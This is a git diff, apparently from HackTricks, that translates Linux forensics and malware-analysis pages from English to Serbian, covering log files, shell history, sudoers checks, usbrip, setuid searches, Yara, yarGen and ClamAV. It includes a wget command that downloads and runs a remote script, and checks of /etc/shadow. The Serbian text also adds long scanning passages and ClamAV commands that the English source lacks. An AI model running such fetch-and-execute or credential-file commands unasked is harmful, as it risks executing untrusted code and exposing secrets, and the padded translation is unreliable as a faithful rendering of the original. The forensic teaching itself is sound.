login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +- **/etc/profile.d/***, **/etc/profile** i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika. +- **~/.bashrc**, **~/.bash_profile**, **~/.profile** i **~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave. +- **/etc/rc.local**: Pokreće se nakon što su svi sistemski servisi pokrenuti, označavajući kraj prelaska na više korisničko okruženje. -## Examine Logs +## Pregledajte logove -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: +Linux sistemi prate aktivnosti korisnika i događaje na sistemu putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju: -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju poruke i aktivnosti na nivou sistema. +- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave. +- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` da biste filtrirali relevantne događaje autentifikacije. +- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema. +- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje email-related servisa. +- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja. +- **/var/log/dmesg**: Sadrži poruke upravljača uređaja. +- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istrazi sigurnosnih incidenata. +- **/var/log/cron**: Beleži izvršavanje cron poslova. +- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa. +- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave. +- **/var/log/httpd/**: Sadrži Apache HTTPD logove o greškama i pristupu. +- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka. +- **/var/log/xferlog**: Beleži FTP prenose fajlova. +- **/var/log/**: Uvek proverite da li postoje neočekivani logovi ovde. {% hint style="info" %} -Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +Logovi sistema Linuxa i podsistemi za nadzor mogu biti onemogućeni ili obrisani tokom napada ili incidenata sa malverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih redovno brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili ulazne zapise koji su van reda, što može ukazivati na brisanje ili manipulaciju. {% endhint %} -**Linux maintains a command history for each user**, stored in: +**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u: - ~/.bash_history - ~/.zsh_history @@ -314,42 +297,39 @@ Linux system logs and audit subsystems may be disabled or deleted in an intrusio - ~/.python_history - ~/.*_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Osim toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave. -Check files that can grant extra rprivileges: +Proverite fajlove koji mogu dodeliti dodatne privilegije: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene. +- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene. +- Ispitajte `/etc/groups` da biste identifikovali neobična članstva u grupama ili dozvole. +- Ispitajte `/etc/passwd` da biste identifikovali neobična članstva u grupama ili dozvole. -Some apps alse generates its own logs: +Neke aplikacije takođe generišu sopstvene logove: -- **SSH**: Examine _~/.ssh/authorized_keys_ and _~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _~/.mozilla/firefox_ or _~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _~/.ftp_history_ or _~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Pregledajte _~/.ssh/authorized_keys_ i _~/.ssh/known_hosts_ za neovlaštene udaljene konekcije. +- **Gnome Desktop**: Pogledajte _~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija. +- **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _~/.mozilla/firefox_ ili _~/.config/google-chrome_ za sumnjive aktivnosti. +- **VIM**: Pregledajte _~/.viminfo_ za detalje o korišćenju, kao što su putanje do pristupanih fajlova i istorija pretrage. +- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove. +- **FTP/SFTP**: Pregledajte logove u _~/.ftp_history_ ili _~/.sftp_history_ za prenose fajlova koji mogu biti neovlašćeni. +- **MySQL**: Istražite _~/.mysql_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti na bazi podataka. +- **Less**: Analizirajte _~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande. +- **Git**: Pregledajte _~/.gitconfig_ i _.git/logs_ projekta za promene u repozitorijumima. -### USB Logs +### USB logovi -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji analizira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` zavisno od distribucije) kako bi konstruisao tabele istorije događaja sa USB uređajima. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Interesantno je **znati sve USB uređaje koji su korišćeni**, a biće korisno ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi). +### Instalacija ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Primeri ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -357,115 +337,109 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +Više primera i informacija možete pronaći na Github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice.\ +Danas dobijte pristup: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Review User Accounts and Logon Activities +## Pregled korisničkih naloga i aktivnosti prijavljivanja -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +Pregledajte datoteke _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne zapise** u potrazi za neobičnim imenima ili nalozima koji su kreirani ili korišćeni u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade na sudo.\ +Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ u potrazi za neočekivanim privilegijama dodeljenim korisnicima.\ +Na kraju, potražite naloge bez lozinki ili sa lako pogodivim lozinkama. -## Examine File System +## Pregledajte sistem datoteka -### Analyzing File System Structures in Malware Investigation +### Analiza struktura sistema datoteka u istrazi malvera -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. +Prilikom istraživanja incidenata sa malverom, struktura sistema datoteka je ključni izvor informacija koji otkriva kako su se događaji odvijali i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje ometaju ovu analizu, kao što su izmena vremena datoteka ili izbegavanje sistema datoteka za skladištenje podataka. -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: - ```find / -user root -perm -04000 -print``` - This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je: +- **Sprovoditi temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenske linije događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji. +- **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu sadržati skripte ljuske ili PHP skripte koje koriste napadači. +- **Pregledati `/dev` za netipične datoteke**, jer tradicionalno sadrži posebne datoteke, ali može sadržati datoteke povezane sa malverom. +- **Tražiti skrivene datoteke ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje mogu sakriti zlonamerni sadržaj. +- **Identifikovati datoteke sa postavljenim setuid privilegijama** korišćenjem komande: +```find / -user root -perm -04000 -print``` +Ovo pronalazi datoteke sa povišenim privilegijama koje napadači mogu zloupotrebiti. +- **Pregledati vremenske oznake brisanja** u tabelama inoda kako biste otkrili masovno brisanje datoteka, što može ukazivati na prisustvo rootkitova ili trojanaca. +- **Pregledati uzastopne inode** za bliske zlonamerne datoteke nakon što se jedna identifikuje, jer mogu biti smeštene zajedno. +- **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno izmenjene datoteke, jer ih malver može izmeniti. ```bash -# List recent files in a directory: +# List recent files in a directory: ls -laR --sort=time /bin``` -# Sort files in a directory by inode: +# Sort files in a directory by inode: ls -lai /bin | sort -n``` ``` - {% hint style="info" %} -Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **fajlovi izgledali** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **fajl** pokazuje da je kreiran i izmenjen u **istom trenutku** kao i ostali fajlovi u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake tog fajla izmenjene**. {% endhint %} -## Compare files of different filesystem versions +## Uporedite fajlove različitih verzija fajl sistema -### Filesystem Version Comparison Summary +### Rezime uporedjivanja verzija fajl sistema -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: +Da biste uporedili verzije fajl sistema i identifikovali promene, koristite pojednostavljene `git diff` komande: -- **To find new files**, compare two directories: +- **Da biste pronašli nove fajlove**, uporedite dva direktorijuma: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: +- **Za izmenjen sadržaj**, navedite promene ignorišući određene linije: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: +- **Da biste otkrili izbrisane datoteke**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Opcije filtera** (`--diff-filter`) pomažu u sužavanju na specifične promene kao što su dodate (`A`), obrisane (`D`) ili izmenjene (`M`) datoteke. +- `A`: Dodate datoteke +- `C`: Kopirane datoteke +- `D`: Obrisane datoteke +- `M`: Izmenjene datoteke +- `R`: Preimenovane datoteke +- `T`: Promene tipa (npr. datoteka u simbolički link) +- `U`: Nespajane datoteke +- `X`: Nepoznate datoteke +- `B`: Oštećene datoteke -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Reference * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -* **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +* **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Da li radite u **cybersecurity kompaniji**? Želite li videti **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -**Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index 2331fd321..bbb0fb616 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,24 +1,24 @@ -# Malware Analysis +# Analiza zlonamernog softvera
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Forensics CheatSheets +## Forenzički CheatSheets [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Online usluge * [VirusTotal](https://www.virustotal.com/gui/home/upload) * [HybridAnalysis](https://www.hybrid-analysis.com) @@ -26,136 +26,224 @@ Other ways to support HackTricks: * [Intezer](https://analyze.intezer.com) * [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Offline antivirusni i detekcioni alati ### Yara -#### Install - +#### Instalacija ```bash sudo apt-get install -y yara ``` +#### Priprema pravila -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - +Koristite ovaj skript za preuzimanje i spajanje svih yara pravila za maliciozni softver sa github-a: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Kreirajte direktorijum _**rules**_ i izvršite skriptu. Ovo će kreirati fajl nazvan _**malware\_rules.yar**_ koji sadrži sva yara pravila za maliciozni softver. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` +#### Skeniranje -#### Scan +Skeniranje je prvi korak u analizi malvera. Cilj skeniranja je identifikacija malicioznih datoteka ili aktivnosti na sistemu. Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje malvera. +##### Statičko skeniranje + +Statičko skeniranje se odnosi na analizu malvera bez njegovog izvršavanja. Ovo se može postići pregledom binarnih datoteka, dekompilacijom izvršnih datoteka ili analizom koda. Statičko skeniranje može otkriti poznate malvera na osnovu prepoznatljivih potpisa ili karakteristika. + +##### Dinamičko skeniranje + +Dinamičko skeniranje se odnosi na analizu malvera tokom njegovog izvršavanja. Ovo se može postići pokretanjem malvera u kontrolisanom okruženju i praćenjem njegovih aktivnosti. Dinamičko skeniranje može otkriti skrivene ili promenljive funkcionalnosti malvera. + +##### Heurističko skeniranje + +Heurističko skeniranje se odnosi na upotrebu heurističkih pravila ili algoritama za otkrivanje nepoznatih malvera. Ovo se može postići analizom ponašanja malvera ili identifikacijom sumnjivih aktivnosti. Heurističko skeniranje može otkriti nove ili prilagođene malvere koji se ne prepoznaju putem statičkog skeniranja. + +##### Skeniranje mreže + +Skeniranje mreže se odnosi na identifikaciju malvera na mrežnom nivou. Ovo se može postići analizom mrežnog saobraćaja, detekcijom sumnjivih veza ili identifikacijom malicioznih IP adresa. Skeniranje mreže može otkriti malvere koji se šire putem mreže ili koriste mrežne resurse za svoje aktivnosti. + +##### Skeniranje memorije + +Skeniranje memorije se odnosi na analizu malvera u operativnoj memoriji. Ovo se može postići pregledom procesa, identifikacijom sumnjivih ili zaraženih procesa, ili pronalaženjem malicioznih injekcija u memoriji. Skeniranje memorije može otkriti malvere koji se izvršavaju u memoriji i izbegavaju detekciju na disku. + +##### Skeniranje registra + +Skeniranje registra se odnosi na analizu malvera u Windows registru. Ovo se može postići identifikacijom sumnjivih unosa registra, pronalaženjem malicioznih ključeva ili analizom promena u registru. Skeniranje registra može otkriti malvere koji koriste registar za svoje aktivnosti ili za održavanje upornosti. + +##### Skeniranje fajl sistema + +Skeniranje fajl sistema se odnosi na analizu malvera na nivou fajl sistema. Ovo se može postići pregledom fajlova, identifikacijom sumnjivih ili zaraženih fajlova, ili pronalaženjem skrivenih fajlova. Skeniranje fajl sistema može otkriti malvere koji se kriju u fajlovima ili koriste fajl sistem za širenje. ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Proverite za zlonamerni softver i kreirajte pravila -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Možete koristiti alatku [**YaraGen**](https://github.com/Neo23x0/yarGen) da generišete yara pravila iz binarnog fajla. Pogledajte ove tutorijale: [**Deo 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Deo 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Deo 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install +#### Instalacija +Da biste instalirali ClamAV, možete koristiti sledeće komande: + +```bash +sudo apt-get update +sudo apt-get install clamav +``` + +#### Ažuriranje baza podataka + +Nakon instalacije, trebali biste ažurirati baze podataka ClamAV-a. To možete uraditi pomoću sledeće komande: + +```bash +sudo freshclam +``` + +#### Skeniranje fajlova + +Da biste skenirali određeni fajl ili direktorijum, koristite sledeću komandu: + +```bash +clamscan +``` + +#### Izveštaj o skeniranju + +Da biste generisali izveštaj o skeniranju, koristite sledeću komandu: + +```bash +clamscan -r --bell -i > izvestaj.txt +``` + +Ova komanda će generisati izveštaj o skeniranju i sačuvati ga u fajlu "izvestaj.txt". ``` sudo apt-get install -y clamav ``` +#### Skeniranje -#### Scan +Skeniranje je prvi korak u analizi malvera. Cilj skeniranja je identifikacija malicioznih datoteka ili aktivnosti na sistemu. Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje malvera. +##### Antivirus skeniranje + +Antivirusni softver je jedan od najčešćih alata koji se koristi za skeniranje malvera. On analizira datoteke i sistem kako bi pronašao potencijalno zlonamerne ili sumnjive aktivnosti. Antivirusni softver koristi bazu podataka sa potpisima malvera kako bi prepoznao poznate maliciozne datoteke. Međutim, ova metoda ima ograničenja jer se oslanja samo na prepoznavanje poznatih malvera. + +##### Heurističko skeniranje + +Heurističko skeniranje je tehnika koja se koristi za otkrivanje novih ili nepoznatih malvera. Umesto da se oslanja na bazu podataka sa potpisima, heurističko skeniranje analizira ponašanje datoteka i sistema kako bi identifikovalo sumnjive aktivnosti. Ova tehnika može biti efikasnija u otkrivanju novih malvera, ali takođe može generisati lažno pozitivne rezultate. + +##### Analiza paketa + +Analiza paketa je proces pregledanja mrežnog saobraćaja kako bi se identifikovali maliciozni ili sumnjivi paketi. Ova tehnika može otkriti malver koji koristi mrežu za komunikaciju sa kontrolnim serverima ili za prenos podataka. Alati poput Wireshark-a mogu se koristiti za analizu paketa. + +##### Analiza registra + +Analiza registra je proces pregledanja registra sistema kako bi se identifikovali maliciozni unos ili promene. Malveri često koriste registar za postavljanje svojih ključeva i vrednosti kako bi ostali prisutni na sistemu. Pregledanje registra može otkriti sumnjive unose koji ukazuju na prisustvo malvera. + +##### Analiza datoteka + +Analiza datoteka uključuje pregledanje malicioznih datoteka kako bi se identifikovali njihovi karakteristični atributi. Ovo može uključivati pregledanje metapodataka, analizu sadržaja datoteke ili izvršavanje datoteke u sandbox okruženju radi identifikacije malicioznih aktivnosti. + +##### Analiza ponašanja + +Analiza ponašanja je proces praćenja aktivnosti malvera na sistemu kako bi se identifikovali njegovi koraci i efekti. Ovo može uključivati praćenje mrežne komunikacije, promene u sistemskim datotekama ili registrovanje aktivnosti u logovima. Praćenje ponašanja malvera može pružiti uvid u njegove funkcionalnosti i ciljeve. + +##### Analiza malvera u sandbox okruženju + +Sandbox okruženje je izolovano okruženje u kojem se malver može izvršiti radi analize njegovih aktivnosti. Ovo omogućava istraživačima da prate ponašanje malvera i identifikuju njegove funkcionalnosti bez rizika od infekcije sistema. Sandbox okruženje može biti korisno za otkrivanje skrivenih funkcionalnosti malvera ili za identifikaciju novih varijanti. + +##### Analiza malvera u virtualnoj mašini + +Virtualna mašina je softversko okruženje koje emulira fizički računar. Analiza malvera u virtualnoj mašini omogućava istraživačima da izvrše malver u kontrolisanom okruženju i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u sandbox okruženju. + +##### Analiza malvera u kontejneru + +Kontejner je izolovano okruženje koje omogućava izvršavanje aplikacija i procesa. Analiza malvera u kontejneru omogućava istraživačima da izvrše malver u izolovanom okruženju i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u virtualnim mašinama ili sandbox okruženjima. + +##### Analiza malvera u oblaku + +Analiza malvera u oblaku omogućava istraživačima da izvrše malver na udaljenom serveru i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u lokalnim okruženjima. ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** otkriva potencijalno zlonamerne **sposobnosti** u izvršnim datotekama: PE, ELF, .NET. Dakle, pronaći će stvari poput Att\&ck taktika ili sumnjivih sposobnosti kao što su: -* check for OutputDebugString error -* run as a service -* create process +* provera greške OutputDebugString +* pokretanje kao servis +* kreiranje procesa -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Preuzmite ga sa [**Github 